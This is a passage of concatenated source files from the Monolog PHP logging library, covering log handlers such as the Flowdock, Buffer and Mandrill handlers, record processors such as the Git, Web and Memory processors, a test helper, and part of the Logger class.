parent::__construct('ssl://api.flowdock.com:443', $level, $bubble); $this->apiToken = $apiToken; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if (!$formatter instanceof FlowdockFormatter) { throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } return parent::setFormatter($formatter); } /** * Gets the default formatter. */ protected function getDefaultFormatter(): FormatterInterface { throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record): void { parent::write($record); $this->closeSocket(); } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call */ private function buildContent(array $record): string { return Utils::jsonEncode($record['formatted']['flowdock']); } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; $header .= "Host: api.flowdock.com\r\n"; $header .= "Content-Type: application/json\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } } vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php000064400000011102147600277620020171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Buffers all records until closing the handler and then pass them as batch. * * This is useful for a MailHandler to send only one mail per request instead of * sending one per log message. * * @author Christophe Coevoet */ class BufferHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** @var HandlerInterface */ protected $handler; protected $bufferSize = 0; protected $bufferLimit; protected $flushOnOverflow; protected $buffer = []; protected $initialized = false; /** * @param HandlerInterface $handler Handler. * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded */ public function __construct(HandlerInterface $handler, int $bufferLimit = 0, $level = Logger::DEBUG, bool $bubble = true, bool $flushOnOverflow = false) { parent::__construct($level, $bubble); $this->handler = $handler; $this->bufferLimit = $bufferLimit; $this->flushOnOverflow = $flushOnOverflow; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function([$this, 'close']); $this->initialized = true; } if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) { if ($this->flushOnOverflow) { $this->flush(); } else { array_shift($this->buffer); $this->bufferSize--; } } if ($this->processors) { $record = $this->processRecord($record); } $this->buffer[] = $record; $this->bufferSize++; return false === $this->bubble; } public function flush(): void { if ($this->bufferSize === 0) { return; } $this->handler->handleBatch($this->buffer); $this->clear(); } public function __destruct() { // suppress the parent behavior since we already have register_shutdown_function() // to call close(), and the reference contained there will prevent this from being // GC'd until the end of the request } /** * {@inheritdoc} */ public function close(): void { $this->flush(); $this->handler->close(); } /** * Clears the buffer without flushing any messages down to the wrapped handler. */ public function clear(): void { $this->bufferSize = 0; $this->buffer = []; } public function reset() { $this->flush(); parent::reset(); $this->resetProcessors(); if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php000064400000005133147600277620017533 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LoggerInterface; use Monolog\Formatter\FormatterInterface; /** * Proxies log messages to an existing PSR-3 compliant logger. * * If a formatter is configured, the formatter's output MUST be a string and the * formatted message will be fed to the wrapped PSR logger instead of the original * log record's message. * * @author Michael Moussa */ class PsrHandler extends AbstractHandler implements FormattableHandlerInterface { /** * PSR-3 compliant logger * * @var LoggerInterface */ protected $logger; /** * @var FormatterInterface|null */ protected $formatter; /** * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->logger = $logger; } /** * {@inheritDoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->formatter) { $formatted = $this->formatter->format($record); $this->logger->log(strtolower($record['level_name']), (string) $formatted, $record['context']); } else { $this->logger->log(strtolower($record['level_name']), $record['message'], $record['context']); } return false === $this->bubble; } /** * Sets the formatter. * * @param FormatterInterface $formatter */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { throw new \LogicException('No formatter has been set and this handler does not have a default formatter'); } return $this->formatter; } } vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php000064400000002066147600277620023054 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Processor\ProcessorInterface; /** * Interface to describe loggers that have processors * * @author Jordi Boggiano */ interface ProcessableHandlerInterface { /** * Adds a processor in the stack. * * @psalm-param ProcessorInterface|callable(array): array $callback * * @param ProcessorInterface|callable $callback * @return HandlerInterface self */ public function pushProcessor(callable $callback): HandlerInterface; /** * Removes the processor on top of the stack and returns it. * * @psalm-return callable(array): array * * @throws \LogicException In case the processor stack is empty * @return callable */ public function popProcessor(): callable; } vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php000064400000004357147600277620020541 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; /** * Base Handler class providing basic level/bubble support * * @author Jordi Boggiano */ abstract class AbstractHandler extends Handler implements ResettableInterface { protected $level = Logger::DEBUG; protected $bubble = true; /** * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { $this->setLevel($level); $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * Sets minimum logging level at which this handler will be triggered. * * @param int|string $level Level or level name * @return self */ public function setLevel($level): self { $this->level = Logger::toMonologLevel($level); return $this; } /** * Gets minimum logging level at which this handler will be triggered. * * @return int */ public function getLevel(): int { return $this->level; } /** * Sets the bubbling behavior. * * @param bool $bubble true means that this handler allows bubbling. * false means that bubbling is not permitted. * @return self */ public function setBubble(bool $bubble): self { $this->bubble = $bubble; return $this; } /** * Gets the bubbling behavior. * * @return bool true means that this handler allows bubbling. * false means that bubbling is not permitted. */ public function getBubble(): bool { return $this->bubble; } public function reset() { } } vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php000064400000002775147600277620022230 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Forwards records to multiple handlers suppressing failures of each handler * and continuing through to give every handler a chance to succeed. * * @author Craig D'Amelio */ class WhatFailureGroupHandler extends GroupHandler { /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); } catch (\Throwable $e) { // What failure? } } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = array(); foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); } catch (\Throwable $e) { // What failure? } } } } vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php000064400000005214147600277620020531 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Swift; use Swift_Message; /** * MandrillHandler uses cURL to send the emails to the Mandrill API * * @author Adam Nicholson */ class MandrillHandler extends MailHandler { /** @var Swift_Message */ protected $message; /** @var string */ protected $apiKey; /** * @psalm-param Swift_Message|callable(): Swift_Message $message * * @param string $apiKey A valid Mandrill API key * @param callable|Swift_Message $message An example message for real messages, only the body will be replaced * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $apiKey, $message, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); if (!$message instanceof Swift_Message && is_callable($message)) { $message = $message(); } if (!$message instanceof Swift_Message) { throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); } $this->message = $message; $this->apiKey = $apiKey; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $mime = 'text/plain'; if ($this->isHtmlBody($content)) { $mime = 'text/html'; } $message = clone $this->message; $message->setBody($content, $mime); /** @phpstan-ignore-next-line */ if (version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { /** @phpstan-ignore-next-line */ $message->setDate(time()); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'key' => $this->apiKey, 'raw_message' => (string) $message, 'async' => false, ])); Curl\Util::execute($ch); } } vendor/monolog/monolog/src/Monolog/Processor/MemoryPeakUsageProcessor.php000064400000001437147600277620023034 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_peak_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryPeakUsageProcessor extends MemoryProcessor { public function __invoke(array $record): array { $usage = memory_get_peak_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_peak_usage'] = $usage; return $record; } } vendor/monolog/monolog/src/Monolog/Processor/MemoryUsageProcessor.php000064400000001414147600277620022226 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryUsageProcessor extends MemoryProcessor { public function __invoke(array $record): array { $usage = memory_get_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_usage'] = $usage; return $record; } } vendor/monolog/monolog/src/Monolog/Processor/IntrospectionProcessor.php000064400000006430147600277620022634 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects line/file:class/function where the log message came from * * Warning: This only works if the handler processes the logs directly. * If you put the processor on a handler that is behind a FingersCrossedHandler * for example, the processor will only be called once the trigger level is reached, * and all the log records will have the same file/line/.. data from the call that * triggered the FingersCrossedHandler. * * @author Jordi Boggiano */ class IntrospectionProcessor implements ProcessorInterface { private $level; private $skipClassesPartials; private $skipStackFramesCount; private $skipFunctions = [ 'call_user_func', 'call_user_func_array', ]; /** * @param string|int $level The minimum logging level at which this Processor will be triggered */ public function __construct($level = Logger::DEBUG, array $skipClassesPartials = [], int $skipStackFramesCount = 0) { $this->level = Logger::toMonologLevel($level); $this->skipClassesPartials = array_merge(['Monolog\\'], $skipClassesPartials); $this->skipStackFramesCount = $skipStackFramesCount; } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); // skip first since it's always the current method array_shift($trace); // the call_user_func call is also skipped array_shift($trace); $i = 0; while ($this->isTraceClassOrSkippedFunction($trace, $i)) { if (isset($trace[$i]['class'])) { foreach ($this->skipClassesPartials as $part) { if (strpos($trace[$i]['class'], $part) !== false) { $i++; continue 2; } } } elseif (in_array($trace[$i]['function'], $this->skipFunctions)) { $i++; continue; } break; } $i += $this->skipStackFramesCount; // we should have the call source now $record['extra'] = array_merge( $record['extra'], [ 'file' => isset($trace[$i - 1]['file']) ? $trace[$i - 1]['file'] : null, 'line' => isset($trace[$i - 1]['line']) ? $trace[$i - 1]['line'] : null, 'class' => isset($trace[$i]['class']) ? $trace[$i]['class'] : null, 'function' => isset($trace[$i]['function']) ? $trace[$i]['function'] : null, ] ); return $record; } private function isTraceClassOrSkippedFunction(array $trace, int $index) { if (!isset($trace[$index])) { return false; } return isset($trace[$index]['class']) || in_array($trace[$index]['function'], $this->skipFunctions); } } vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php000064400000001635147600277620020511 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds a tags array into record * * @author Martijn Riemers */ class TagProcessor implements ProcessorInterface { private $tags; public function __construct(array $tags = []) { $this->setTags($tags); } public function addTags(array $tags = []): self { $this->tags = array_merge($this->tags, $tags); return $this; } public function setTags(array $tags = []): self { $this->tags = $tags; return $this; } public function __invoke(array $record): array { $record['extra']['tags'] = $this->tags; return $record; } } vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php000064400000005721147600277620020513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects url/method and remote IP of the current web request in all records * * @author Jordi Boggiano */ class WebProcessor implements ProcessorInterface { /** * @var array|\ArrayAccess */ protected $serverData; /** * Default fields * * Array is structured as [key in record.extra => key in $serverData] * * @var array */ protected $extraFields = [ 'url' => 'REQUEST_URI', 'ip' => 'REMOTE_ADDR', 'http_method' => 'REQUEST_METHOD', 'server' => 'SERVER_NAME', 'referrer' => 'HTTP_REFERER', ]; /** * @param array|\ArrayAccess|null $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data * @param array|null $extraFields Field names and the related key inside $serverData to be added. If not provided it defaults to: url, ip, http_method, server, referrer */ public function __construct($serverData = null, array $extraFields = null) { if (null === $serverData) { $this->serverData = &$_SERVER; } elseif (is_array($serverData) || $serverData instanceof \ArrayAccess) { $this->serverData = $serverData; } else { throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); } if (isset($this->serverData['UNIQUE_ID'])) { $this->extraFields['unique_id'] = 'UNIQUE_ID'; } if (null !== $extraFields) { if (isset($extraFields[0])) { foreach (array_keys($this->extraFields) as $fieldName) { if (!in_array($fieldName, $extraFields)) { unset($this->extraFields[$fieldName]); } } } else { $this->extraFields = $extraFields; } } } public function __invoke(array $record): array { // skip processing if for some reason request data // is not present (CLI or wonky SAPIs) if (!isset($this->serverData['REQUEST_URI'])) { return $record; } $record['extra'] = $this->appendExtraFields($record['extra']); return $record; } public function addExtraField(string $extraName, string $serverName): self { $this->extraFields[$extraName] = $serverName; return $this; } private function appendExtraFields(array $extra): array { foreach ($this->extraFields as $extraName => $serverName) { $extra[$extraName] = $this->serverData[$serverName] ?? null; } return $extra; } } vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php000064400000002335147600277620020515 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\ResettableInterface; /** * Adds a unique identifier into records * * @author Simon Mönch */ class UidProcessor implements ProcessorInterface, ResettableInterface { private $uid; public function __construct(int $length = 7) { if ($length > 32 || $length < 1) { throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); } $this->uid = $this->generateUid($length); } public function __invoke(array $record): array { $record['extra']['uid'] = $this->uid; return $record; } public function getUid(): string { return $this->uid; } public function reset() { $this->uid = $this->generateUid(strlen($this->uid)); } private function generateUid(int $length): string { return substr(bin2hex(random_bytes((int) ceil($length / 2))), 0, $length); } } vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php000064400000005543147600277620022513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Utils; /** * Processes a record's message according to PSR-3 rules * * It replaces {foo} with the value from $context['foo'] * * @author Jordi Boggiano */ class PsrLogMessageProcessor implements ProcessorInterface { public const SIMPLE_DATE = "Y-m-d\TH:i:s.uP"; /** @var string|null */ private $dateFormat; /** @var bool */ private $removeUsedContextFields; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset */ public function __construct(?string $dateFormat = null, bool $removeUsedContextFields = false) { $this->dateFormat = $dateFormat; $this->removeUsedContextFields = $removeUsedContextFields; } /** * @param array $record * @return array */ public function __invoke(array $record): array { if (false === strpos($record['message'], '{')) { return $record; } $replacements = []; foreach ($record['context'] as $key => $val) { $placeholder = '{' . $key . '}'; if (strpos($record['message'], $placeholder) === false) { continue; } if (is_null($val) || is_scalar($val) || (is_object($val) && method_exists($val, "__toString"))) { $replacements[$placeholder] = $val; } elseif ($val instanceof \DateTimeInterface) { if (!$this->dateFormat && $val instanceof \Monolog\DateTimeImmutable) { // handle monolog dates using __toString if no specific dateFormat was asked for // so that it follows the useMicroseconds flag $replacements[$placeholder] = (string) $val; } else { $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); } } elseif (is_object($val)) { $replacements[$placeholder] = '[object '.Utils::getClass($val).']'; } elseif (is_array($val)) { $replacements[$placeholder] = 'array'.Utils::jsonEncode($val, null, true); } else { $replacements[$placeholder] = '['.gettype($val).']'; } if ($this->removeUsedContextFields) { unset($record['context'][$key]); } } $record['message'] = strtr($record['message'], $replacements); return $record; } } vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php000064400000001072147600277620021664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds value of getmypid into records * * @author Andreas Hörnicke */ class ProcessIdProcessor implements ProcessorInterface { public function __invoke(array $record): array { $record['extra']['process_id'] = getmypid(); return $record; } } vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php000064400000002770147600277620020522 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects Git branch and Git commit SHA in all records * * @author Nick Otter * @author Jordi Boggiano */ class GitProcessor implements ProcessorInterface { private $level; private static $cache; /** * @param string|int $level The minimum logging level at which this Processor will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['git'] = self::getGitInfo(); return $record; } private static function getGitInfo(): array { if (self::$cache) { return self::$cache; } $branches = `git branch -v --no-abbrev`; if ($branches && preg_match('{^\* (.+?)\s+([a-f0-9]{40})(?:\s|$)}m', $branches, $matches)) { return self::$cache = [ 'branch' => $matches[1], 'commit' => $matches[2], ]; } return self::$cache = []; } } vendor/monolog/monolog/src/Monolog/Processor/HostnameProcessor.php000064400000001230147600277620021543 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects value of gethostname in all records */ class HostnameProcessor implements ProcessorInterface { private static $host; public function __construct() { self::$host = (string) gethostname(); } public function __invoke(array $record): array { $record['extra']['hostname'] = self::$host; return $record; } } vendor/monolog/monolog/src/Monolog/Processor/MemoryProcessor.php000064400000003443147600277620021245 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Some methods that are common for all memory processors * * @author Rob Jensen */ abstract class MemoryProcessor implements ProcessorInterface { /** * @var bool If true, get the real size of memory allocated from system. Else, only the memory used by emalloc() is reported. */ protected $realUsage; /** * @var bool If true, then format memory size to human readable string (MB, KB, B depending on size) */ protected $useFormatting; /** * @param bool $realUsage Set this to true to get the real size of memory allocated from system. * @param bool $useFormatting If true, then format memory size to human readable string (MB, KB, B depending on size) */ public function __construct(bool $realUsage = true, bool $useFormatting = true) { $this->realUsage = $realUsage; $this->useFormatting = $useFormatting; } /** * Formats bytes into a human readable string if $this->useFormatting is true, otherwise return $bytes as is * * @param int $bytes * @return string|int Formatted string if $this->useFormatting is true, otherwise return $bytes as int */ protected function formatBytes(int $bytes) { if (!$this->useFormatting) { return $bytes; } if ($bytes > 1024 * 1024) { return round($bytes / 1024 / 1024, 2).' MB'; } elseif ($bytes > 1024) { return round($bytes / 1024, 2).' KB'; } return $bytes . ' B'; } } vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php000064400000001040147600277620021664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * An optional interface to allow labelling Monolog processors. * * @author Nicolas Grekas */ interface ProcessorInterface { /** * @return array The processed record */ public function __invoke(array $record); } vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php000064400000002705147600277620021720 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects Hg branch and Hg revision number in all records * * @author Jonathan A. Schweder */ class MercurialProcessor implements ProcessorInterface { private $level; private static $cache; /** * @param string|int $level The minimum logging level at which this Processor will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['hg'] = self::getMercurialInfo(); return $record; } private static function getMercurialInfo(): array { if (self::$cache) { return self::$cache; } $result = explode(' ', trim(`hg id -nb`)); if (count($result) >= 3) { return self::$cache = [ 'branch' => $result[1], 'revision' => $result[2], ]; } return self::$cache = []; } } vendor/monolog/monolog/src/Monolog/Test/TestCase.php000064400000003423147600277620016546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Test; use Monolog\Logger; use Monolog\DateTimeImmutable; use Monolog\Formatter\FormatterInterface; /** * Lets you easily generate log records and a dummy formatter for testing purposes * * * @author Jordi Boggiano */ class TestCase extends \PHPUnit\Framework\TestCase { /** * @return array Record */ protected function getRecord($level = Logger::WARNING, $message = 'test', array $context = []): array { return [ 'message' => (string) $message, 'context' => $context, 'level' => $level, 'level_name' => Logger::getLevelName($level), 'channel' => 'test', 'datetime' => new DateTimeImmutable(true), 'extra' => [], ]; } protected function getMultipleRecords(): array { return [ $this->getRecord(Logger::DEBUG, 'debug message 1'), $this->getRecord(Logger::DEBUG, 'debug message 2'), $this->getRecord(Logger::INFO, 'information'), $this->getRecord(Logger::WARNING, 'warning'), $this->getRecord(Logger::ERROR, 'error'), ]; } protected function getIdentityFormatter(): FormatterInterface { $formatter = $this->createMock(FormatterInterface::class); $formatter->expects($this->any()) ->method('format') ->will($this->returnCallback(function ($record) { return $record['message']; })); return $formatter; } } vendor/monolog/monolog/src/Monolog/Logger.php000064400000041513147600277620015335 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; use Monolog\Handler\HandlerInterface; use Psr\Log\LoggerInterface; use Psr\Log\InvalidArgumentException; use Throwable; /** * Monolog log channel * * It contains a stack of Handlers and a stack of Processors, * and uses them to store records that are added to it. * * @author Jordi Boggiano */ class Logger implements LoggerInterface, ResettableInterface { /** * Detailed debug information */ public const DEBUG = 100; /** * Interesting events * * Examples: User logs in, SQL logs. */ public const INFO = 200; /** * Uncommon events */ public const NOTICE = 250; /** * Exceptional occurrences that are not errors * * Examples: Use of deprecated APIs, poor use of an API, * undesirable things that are not necessarily wrong. */ public const WARNING = 300; /** * Runtime errors */ public const ERROR = 400; /** * Critical conditions * * Example: Application component unavailable, unexpected exception. */ public const CRITICAL = 500; /** * Action must be taken immediately * * Example: Entire website down, database unavailable, etc. * This should trigger the SMS alerts and wake you up. */ public const ALERT = 550; /** * Urgent alert. */ public const EMERGENCY = 600; /** * Monolog API version * * This is only bumped when API breaks are done and should * follow the major version of the library * * @var int */ public const API = 2; /** * This is a static variable and not a constant to serve as an extension point for custom levels * * @var array $levels Logging levels with the levels as key */ protected static $levels = [ self::DEBUG => 'DEBUG', self::INFO => 'INFO', self::NOTICE => 'NOTICE', self::WARNING => 'WARNING', self::ERROR => 'ERROR', self::CRITICAL => 'CRITICAL', self::ALERT => 'ALERT', self::EMERGENCY => 'EMERGENCY', ]; /** * @var string */ protected $name; /** * The handler stack * * @var HandlerInterface[] */ protected $handlers; /** * Processors that will process all log records * * To process records of a single handler instead, add the processor on that specific handler * * @var callable[] */ protected $processors; /** * @var bool */ protected $microsecondTimestamps = true; /** * @var DateTimeZone */ protected $timezone; /** * @var callable|null */ protected $exceptionHandler; /** * @psalm-param array $processors * * @param string $name The logging channel, a simple descriptive name that is attached to all log records * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. * @param callable[] $processors Optional array of processors * @param DateTimeZone|null $timezone Optional timezone, if not provided date_default_timezone_get() will be used */ public function __construct(string $name, array $handlers = [], array $processors = [], ?DateTimeZone $timezone = null) { $this->name = $name; $this->setHandlers($handlers); $this->processors = $processors; $this->timezone = $timezone ?: new DateTimeZone(date_default_timezone_get() ?: 'UTC'); } public function getName(): string { return $this->name; } /** * Return a new cloned instance with the name changed */ public function withName(string $name): self { $new = clone $this; $new->name = $name; return $new; } /** * Pushes a handler on to the stack. */ public function pushHandler(HandlerInterface $handler): self { array_unshift($this->handlers, $handler); return $this; } /** * Pops a handler from the stack * * @throws \LogicException If empty handler stack */ public function popHandler(): HandlerInterface { if (!$this->handlers) { throw new \LogicException('You tried to pop from an empty handler stack.'); } return array_shift($this->handlers); } /** * Set handlers, replacing all existing ones. * * If a map is passed, keys will be ignored. * * @param HandlerInterface[] $handlers */ public function setHandlers(array $handlers): self { $this->handlers = []; foreach (array_reverse($handlers) as $handler) { $this->pushHandler($handler); } return $this; } /** * @return HandlerInterface[] */ public function getHandlers(): array { return $this->handlers; } /** * Adds a processor on to the stack. */ public function pushProcessor(callable $callback): self { array_unshift($this->processors, $callback); return $this; } /** * Removes the processor on top of the stack and returns it. * * @throws \LogicException If empty processor stack * @return callable */ public function popProcessor(): callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return array_shift($this->processors); } /** * @return callable[] */ public function getProcessors(): array { return $this->processors; } /** * Control the use of microsecond resolution timestamps in the 'datetime' * member of new records. * * As of PHP7.1 microseconds are always included by the engine, so * there is no performance penalty and Monolog 2 enabled microseconds * by default. This function lets you disable them though in case you want * to suppress microseconds from the output. * * @param bool $micro True to use microtime() to create timestamps */ public function useMicrosecondTimestamps(bool $micro): void { $this->microsecondTimestamps = $micro; } /** * Adds a log record. * * @param int $level The logging level * @param string $message The log message * @param mixed[] $context The log context * @return bool Whether the record has been processed */ public function addRecord(int $level, string $message, array $context = []): bool { $offset = 0; $record = null; foreach ($this->handlers as $handler) { if (null === $record) { // skip creating the record as long as no handler is going to handle it if (!$handler->isHandling(['level' => $level])) { continue; } $levelName = static::getLevelName($level); $record = [ 'message' => $message, 'context' => $context, 'level' => $level, 'level_name' => $levelName, 'channel' => $this->name, 'datetime' => new DateTimeImmutable($this->microsecondTimestamps, $this->timezone), 'extra' => [], ]; try { foreach ($this->processors as $processor) { $record = $processor($record); } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } // once the record exists, send it to all handlers as long as the bubbling chain is not interrupted try { if (true === $handler->handle($record)) { break; } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } return null !== $record; } /** * Ends a log cycle and frees all resources used by handlers. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * Handlers that have been closed should be able to accept log records again and re-open * themselves on demand, but this may not always be possible depending on implementation. * * This is useful at the end of a request and will be called automatically on every handler * when they get destructed. */ public function close(): void { foreach ($this->handlers as $handler) { $handler->close(); } } /** * Ends a log cycle and resets all handlers and processors to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. */ public function reset(): void { foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } /** * Gets all supported logging levels. * * @return array Assoc array with human-readable level names => level codes. */ public static function getLevels(): array { return array_flip(static::$levels); } /** * Gets the name of the logging level. * * @throws \Psr\Log\InvalidArgumentException If level is not defined */ public static function getLevelName(int $level): string { if (!isset(static::$levels[$level])) { throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } return static::$levels[$level]; } /** * Converts PSR-3 levels to Monolog ones if necessary * * @param string|int $level Level number (monolog) or name (PSR-3) * @throws \Psr\Log\InvalidArgumentException If level is not defined */ public static function toMonologLevel($level): int { if (is_string($level)) { if (is_numeric($level)) { return intval($level); } // Contains chars of all log levels and avoids using strtoupper() which may have // strange results depending on locale (for example, "i" will become "İ" in Turkish locale) $upper = strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); if 